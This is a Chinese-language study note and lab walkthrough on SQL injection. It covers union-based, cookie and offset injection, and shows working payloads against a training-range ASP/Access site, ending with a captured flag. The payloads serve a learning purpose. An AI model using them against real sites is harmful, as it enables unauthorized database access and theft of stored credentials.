知識(shí)梳理
- SQL注入原理:用戶輸入的數(shù)據(jù)可以被拼接到原有代碼執(zhí)行
- SQL注入基本流程:
- (1). 判斷注入點(diǎn),例:
數(shù)字型:id=1 and 1=1頁(yè)面正常id=1 and 1=2頁(yè)面不正常;
字符型:?jiǎn)坞p引號(hào)、括號(hào)閉合,觀察頁(yè)面是否正常;
使用sleep()觀察頁(yè)面是否存在延遲; - (2)猜解字段數(shù),例:
and 1=2 order by 1,2,3通過觀察頁(yè)面是否正常來確定字段數(shù) - (3)查看顯錯(cuò)點(diǎn)
and 1=2 union select 1,2,3通過發(fā)現(xiàn)顯錯(cuò)位置可以知道在哪里輸出想要的信息 - (4)查詢庫(kù)名、表名、字段名、字段內(nèi)容
可以通過查詢系統(tǒng)自帶庫(kù)information_schema來獲取想要的內(nèi)容。
-查詢庫(kù)名
union select 1,2,database()
-查詢表名
union select 1,2,table_name from information_schema.tables where table_schema = database()
-查詢字段名
union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
-查詢字段內(nèi)容
union select 1,column1,column2 from table_name limit 0,1
group_concat可以將多行數(shù)據(jù)整合到一行輸出
union select 1,2,group_concat(flag) from TABLE_NAME
- Cookie注入原理:
Cookie是一種儲(chǔ)存在用戶本地上的數(shù)據(jù),指某些網(wǎng)站為了辨別用戶身份、進(jìn)行 session 跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)。
后端接收數(shù)據(jù)的時(shí)候同時(shí)接收了GET、POST、Cookie傳入的參數(shù),而檢驗(yàn)方法忽略了對(duì)Cookie數(shù)據(jù)的校驗(yàn)。
Cookie注入常見于老的ASP網(wǎng)站和PHP版本小于5.4以下的版本。
Cookie注入存在于所有數(shù)據(jù)庫(kù)中,Cookie注入核心是傳參方式。
- 偏移注入原理:
偏移注入是一種注入姿勢(shì),可以根據(jù)一個(gè)較多字段的表對(duì)一個(gè)少字段的表進(jìn)行偏移注入,一般是聯(lián)合查詢,在頁(yè)面有回顯點(diǎn)的情況下;
當(dāng)你猜到表名無(wú)法猜到字段名的情況下,我們可以使用偏移注入來查詢那張表里面的數(shù)據(jù)。
假設(shè)一個(gè)表有8個(gè)字段,admin表有3個(gè)字段。
聯(lián)合查詢payload:union select 1,2,3,4,5,6,7,8 from admin
在我們不知道admin有多少字段的情況下可以嘗試payload:union select 1,2,3,4,5,6,7,admin.* from admin,此時(shí)頁(yè)面出錯(cuò)
直到payload:union select 1,2,3,4,5,admin.* from admin時(shí)頁(yè)面返回正常,說明admin表有三個(gè)字段
然后通過移動(dòng)admin.*的位置,就可以回顯不同的數(shù)據(jù)
靶場(chǎng)演示
靶場(chǎng)地址
地址http://59.63.200.79:8004/ProductShow.asp?ID=104
通過document.cookie="ID="+escape("104 and 1=1")判斷頁(yè)面存在cookie住

猜測(cè)字段數(shù)
document.cookie="ID="+escape("104 and 1=2 order by 26")頁(yè)面正常判document.cookie="ID="+escape("104 and 1=2 order by 27")頁(yè)面報(bào)錯(cuò)
斷存在26個(gè)字段


判斷顯錯(cuò)位置
這里是一個(gè)access數(shù)據(jù)庫(kù)并沒有系統(tǒng)自帶的數(shù)據(jù)庫(kù)名和表名,只能猜測(cè)
document.cookie="ID="+escape("104 and exists(select * from admin)")頁(yè)面正常顯示,說明存在admin表
(EXISTS用于檢查子查詢是否至少會(huì)返回一行數(shù)據(jù),該子查詢實(shí)際上并不返回任何數(shù)據(jù),而是返回值True或False)
document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,110000,120000,130000,140000,150000,160000,170000,180000,190000,200000,210000,220000,230000,240000,250000,260000 from admin")
查看網(wǎng)頁(yè)源代碼發(fā)現(xiàn)顯錯(cuò)位置為 3,5,7,25

猜測(cè)字段數(shù)
document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,110000,120000,130000,140000,150000,160000,170000,180000,190000,200000,210000,220000,230000,240000,admin.*,260000 from admin")
開始偏移,慢慢刪減字段;
直到document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,admin.* from admin")頁(yè)面顯示正常,說明admin表內(nèi)存在16個(gè)字段,且第16個(gè)字段值為450

查詢字段值
通過偏移讓其余字段值在25顯錯(cuò)點(diǎn)顯示
document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,admin.*,260000 from admin")
得到flag zkaq{f0e12dafb6}
